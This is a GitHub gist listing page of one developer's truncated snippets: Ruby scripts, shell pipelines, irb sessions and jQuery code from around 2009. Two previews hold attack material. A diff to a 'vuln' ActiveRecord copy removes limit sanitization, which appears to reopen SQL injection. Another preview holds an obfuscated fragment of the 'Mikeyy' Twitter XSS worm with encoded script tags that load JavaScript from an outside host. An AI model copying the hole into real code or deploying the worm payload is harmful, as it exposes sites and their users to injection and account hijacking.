Skip to content

Instantly share code, notes, and snippets.

View dacort's full-sized avatar
🤔
Thinking about some new idea...

Damon P. Cortesi dacort

🤔
Thinking about some new idea...
View GitHub Profile
--- activerecord/lib/active_record/base.rb
+++ vuln/activerecord/lib/active_record/base.rb
@@ -358,1 +359,2 @@ module ActiveRecord
- connection.add_limit!(sql, sanitize_sql(limit)) unless limit.nil?
+ limit = sanitize_sql(limit) if limit.is_a? Array and limit.first.is_a? String
+ connection.add_limit!(sql, limit) if limit
--- activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
+++ vuln/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
curl -s http://twitter.com/statuses/user_timeline/dacort.xml?count=750 \
| grep "<text>" | grep twitpic \
| sed -n 's/.*\(twitpic.com\/[^ < ]\{4,5\}\).*/\1/gp' \
| xargs curl -s | grep -E '(id="pic")|(Posted on)' \
| sed 's/src="\//src="http:\/\/twitpic.com\//' \
| sed 's/.*\(Posted on .*\)<.*/<br \/><br \/>\1<br \/>/g' \
| awk ' { line[NR] = $0 } END { for (i=NR;i>0;i-- ) print line[i] }' \
>> dacort.html
function doSearch(query,page) {
page = parseInt(page);
if (!(page > 0)) {
page = 1;
}
$("#results").text('');
$.getJSON("http://tweepsearch.com/search.json?query=" + query + "&page="+page+"&count=5&callback=?",
function(data){
var content = "<table cellspacing='5'><td bgcolor='#e0e0e0' colspan='2' align='center'>Users matching <a target='_blank' href='http://tweepsearch.com/search?query=" + escape(query) + "'>" + $('<div/>').text(query).html() + "</a> from TweepSearch</td>";
$.each(data, function(i,user) {
var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "POST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72
require 'icalendear'
require 'csv'
cal_file = File.open("iCal_export.ics")
outfile = File.open('hours.csv', 'wb')
# Initialize
sum = 0
week = 1
prev_week = nil
@dacort
dacort / munin_starling
Created November 7, 2009 20:12
A munin script to monitor starling queues via starling_top
#!/usr/bin/env ruby
#
# A munin script to monitor starling queues via starling_top
# Damon P. Cortesi (@dacort)
def output_config(queue_items)
puts <<-END
graph_category App
graph_title starling queues
graph_vlabel count
irb(main):001:0> require 'rubygems'
=> true
irb(main):002:0> require 'tweetstream'
=> true
irb(main):003:0> Yajl::VERSION
=> "0.6.4"
irb(main):004:0> json = StringIO.new("{\"id\": 5687389800}")
=> #<StringIO:0x1155c9c>
irb(main):005:0> parser = Yajl::Parser.new
=> #<Yajl::Parser:0x1152e70>
1)
'Yajl load should be able to parse from a string' FAILED
expected {"a"=>1234}
got {"a"=>1234}
(compared using eql?)
/Users/dpc/Downloads/src/yajl-ruby/spec/global/global_spec.rb:34:
# Where u is a User object
irb(main):033:0> Tweet.all(:user => u)
=> []
irb(main):034:0> Tweet.all(:user_id => u.id)
=> []
irb(main):035:0> Tweet.all(:user_id => u._id)
=> [#<Tweet text:...]
require 'rubygems'
require 'mongo_mapper'
class User
include MongoMapper::Document
has_many :tweets
key :screen_name, String, :required => true
end